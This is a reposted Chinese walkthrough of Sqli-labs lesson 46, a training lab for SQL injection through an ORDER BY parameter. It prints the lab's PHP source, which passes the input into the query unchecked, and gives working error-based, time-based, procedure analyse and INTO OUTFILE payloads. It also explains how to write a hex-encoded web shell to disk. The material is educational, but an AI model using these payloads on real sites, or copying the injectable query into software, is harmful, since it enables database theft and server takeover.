SQL注入之Sqli-labs系列第四十六關(ORDER BY注入)


0X1查看頁面

0x2源碼

<?php
include("../sql-connections/sql-connect.php");
$id=$_GET['sort'];    
if(isset($id))
    {
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'SORT:'.$id."\n");
    fclose($fp);

    $sql = "SELECT * FROM users ORDER BY $id";
    echo $sql . '<br>';
    $result = mysql_query($sql);
    if ($result)
        {
        ?>
        <center>
        <font color= "#00FF00" size="4">
        
        <table   border=1'>
        <tr>
            <th>&nbsp;ID&nbsp;</th>
            <th>&nbsp;USERNAME&nbsp;  </th>
            <th>&nbsp;PASSWORD&nbsp;  </th>
        </tr>
        </font>
        </font>
        <?php
        while ($row = mysql_fetch_assoc($result))
            {
            echo '<font color= "#00FF11" size="3">';        
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['username']."</td>";
                echo "<td>".$row['password']."</td>";
            echo "</tr>";
            echo "</font>";
            }    
        echo "</table>";
        
        }
        else
        {
        echo '<font color= "#FFFF00">';
        print_r(mysql_error());
        echo "</font>";  
        }
    }    
    else
    {
        echo "Please input parameter as SORT with numeric value<br><br><br><br>";
        echo "<br><br><br>";
        echo '<img src="../images/Less-46.jpg" /><br>';
        echo "Lesson Concept and code Idea by <b>D4rk</b>";
    }
?>
php源碼

0x3 ORDER BY 分析

(1)首先看看本關sql語句

$sql = "SELECT * FROM users ORDER BY $id";  

在mysql中 order by 參數后可以加入升序和降序來改變排列順序,

(2)升降序嘗試

頁面顯示出不同的信息,證明存在sql注入,從頁面中我們可以看出,注入點在order by后面的參數中,而order by不同於的我們在where后的注入點,不能使用union等進行注入。如何進行order by的注入,通過查詢mysql幫助文檔,可以在后面帶入參數來進行注入

0x4 思路分析

 (1)order by 后的數字可以作為一個注入點,構造order by 后的一個語句,讓該語句執行結果為一個數,我們嘗試

http://192.168.232.135/sqli-labs/Less-46/?sort=right(database(),1)

解釋下:

rigth函數:是返回右邊結果的第一個字符

mysql>seclet right('hello',1);
         >'o'

left函數:是返回左邊結果的第一個字符

mysql>seclet left('hello',1);
         >'h'

經過測試,兩個函數在頁面並沒有任何的反應,證明數字並沒有起作用,考慮下布爾類型。可以利用報錯注入和延時注入。

(2)直接在sort后面構造,形式存在幾種

  直接添加注入語句

  利用函數(例如:rand 函數等)使用true和false看看結果

  利用and,例如?sort=1 and (加sql語句)。

(3)報錯注入實例

floor函數:
http://localhost/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)

(4)延遲注入實例

http://localhost/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)  
http://localhost/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))  

(4)procedure analyse參數注入

     利用procedure analyse參數,我們可以執行報錯注入。同時,在procedure analyse和order by之間可以存在limit參數,我們在實際應用中,往往也可能會存在limit后的注入,可以利用procedure analyse進行注入。

http://localhost/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)  

(5)導入導出文件into outfile參數

http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"  

(6)lines terminated by上傳網馬

Into outtfile 文件地址 lines terminated by 0x(網馬進行16進制轉換)

 

以上部分內容都是摘錄,具體的都是經過了實例認證

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM